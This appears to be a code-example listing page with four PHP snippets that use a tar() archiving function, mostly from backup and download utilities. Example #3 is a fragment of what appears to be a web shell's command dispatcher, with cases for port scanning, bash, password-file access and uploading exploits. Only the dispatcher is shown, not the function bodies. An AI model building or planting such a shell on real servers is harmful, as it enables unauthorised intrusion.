Example #1
0
function plug_backup_msql()
{
    require 'plug/tar.php';
    $f = 'plug/_data/msql_backup_' . date('ymd', time()) . '.tar.gz';
    //unlink($f);
    $r = read_dir('msql');
    //p($r);
    if (auth(6)) {
        tar($f, $r);
    }
    if (is_file($f)) {
        return lkt('txtyl', $f, $f);
    } else {
        return 'brrrr';
    }
}
Example #2
0
     $szErrorNotice .= $oMLT->get("17", "Error al crear directorio temporal de bajada.");
 } else {
     // set flag
     $bSkipExtract = false;
     // update paths
     $szDownloadPath .= $szUniqid . "/";
     $szDownloadUrl .= $szUniqid . "/";
 }
 //}
 if (isset($_FORM["txtDLFilename"]) && strlen(trim($_FORM["txtDLFilename"])) > 0) {
     $szFile = $_FORM["txtDLFilename"];
 } else {
     $szFile = "Pol_" . $szUniqid;
 }
 if (isset($_FORM["selCompressType"]) && strtoupper($_FORM["selCompressType"]) == "TGZ") {
     if (!tar($aSzFiles, $szDownloadPath . $szFile . ".tar")) {
         $szErrorNotice .= $oMLT->get("10", "No se pudo crear archivo comprimido");
     }
     // set the ext name to download
     $szExt = ".tar.gz";
     // compress
     gZip($szDownloadPath . $szFile . ".tar", $szDownloadPath . $szFile . $szExt);
     // delete the original file
     if (file_exists($szDownloadPath . $szFile . ".tar")) {
         unlink($szDownloadPath . $szFile . ".tar");
     }
     //$szErrorNotice .= "Listo, cierre la ventana";
 } else {
     if (isset($_FORM["selCompressType"]) && strtoupper($_FORM["selCompressType"]) == "ZIP") {
         // combine shape files into zip (compressed)
         $szExt = ".zip";
Example #3
0
     upload();
     break;
 case "help":
     help();
     break;
 case "ftp":
     ftp();
     break;
 case "portscan":
     portscan();
     break;
 case "sql":
     sql();
     break;
 case "tar":
     tar();
     break;
 case "bash":
     bash();
     break;
 case "passwd":
     passwd();
     break;
 case "exploits":
     exploits($dir);
     break;
 case "upload_exploits":
     upload_exploits($dir);
     break;
 case "upload_exploitsp":
     upload_exploitsp($dir);
Example #4
0
File: tar.php Project: philum/cms
function targz($f, $r)
{
    tar($f, $r);
    $s = file_get_contents($f);
    $ok = file_put_contents($f . '.gz', gzencode($s, 9));
    if ($ok) {
        unlink($f);
    }
    return $f . '.gz';
}